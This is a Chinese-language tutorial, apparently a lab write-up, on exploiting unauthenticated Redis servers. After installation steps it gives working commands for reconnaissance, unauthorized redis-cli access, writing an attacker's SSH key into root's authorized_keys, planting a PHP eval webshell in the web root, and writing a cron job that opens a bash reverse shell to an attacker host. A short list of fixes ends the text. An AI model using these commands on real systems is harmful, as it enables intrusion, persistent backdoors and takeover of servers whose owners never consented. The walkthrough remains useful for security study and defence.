环境安装

下载源码

解压缩后编译源码。

1
2
3
4
$ wget http://download.redis.io/releases/redis-2.8.3.tar.gz
$ tar xzf redis-2.8.3.tar.gz
$ cd redis-2.8.3
$ make

编译完成后

在Src目录下,有四个可执行文件redis-server、redis-benchmark、redis-cli和redis.conf。然后拷贝到一个目录下。

1
2
3
4
5
6
mkdir /usr/redis
cp redis-server /usr/redis
cp redis-benchmark /usr/redis
cp redis-cli /usr/redis
cp redis.conf /usr/redis
cd /usr/redis

启动redis服务

1
./redis-server ./redis.conf

查看redis是否开启

1
netstat -ntlp | grep redis

漏洞利用

  • 保存到www目录,创建webshell
  • 创建SSH authorized_keys文件
  • 写计划任务(/var/spool/cron/&/etc/cron.d/)
  • slave of 8.8.8.8主从模式利用
  • 写入到/etc/profile.d/用户环境变量
  • 开启AOF持久化纯文本记录appendfilename

利用nmap获取redis信息

1
nmap -A -p6379 --script=redis-info 192.168.132.134

利用redis客户端进行未授权访问

1
2
./redis-cli -h 192.168.132.134
192.168.132.134:6379> info

当然,如果redis存在访问密码的话,可以使用如下:

1
./redis-cli -h 192.168.132.134 –a [password]

利用redis连接写入ssh公钥

在攻击机上生成ssh公钥和私钥

1
ssh-keygen -t rsa

将公钥写入文本

1
2
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt

将1.txt写入redis

1
cat 1.txt | /usr/local/redis/./redis-cli -h 192.168.132.134 -x set crack

利用redis客户端连接靶机redis

1
./redis-cli -h 192.168.132.134

获取redis备份的路径

1
192.168.132.134:6379> CONFIG GET dir

更改redis备份路径

1
192.168.132.134:6379> CONFIG SET dir /root/.ssh

设置备份文件的名称为authorized_keys

1
192.168.132.134:6379> CONFIG SET dbfilename authorized_keys

检查是否更改

1
192.168.132.134:6379> CONFIG GET dbfilename

保存

1
192.168.132.134:6379> save

ssh连接

1
ssh –i  id_rsa root@192.168.1.11

利用redis写入Shell

查看是否存在web服务

1
nmap 192.168.1.111

确定web服务目录

1
2
3
4
config set dir /usr/local/apache/htdocs/
config set dbfilename ok.php
set test "<?php @eval($_POST[123]);?>"
save

菜刀连接一句话木马

写计划任务来反弹shell

telnet登录/也可以redis-cli登录

1
2
3
4
5
telnet 192.168.236.130 6379 //未授权登录

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n" //直接往当前用户的crontab里写入反弹shell,换行是必不可少的。

nc反弹

漏洞修复

  • 禁止使用 root 权限启动 redis 服务;
  • 对 redis 访问启用密码认证,并且添加 IP 访问限制;
  • 尽可能不对公网直接开放 SSH 服务。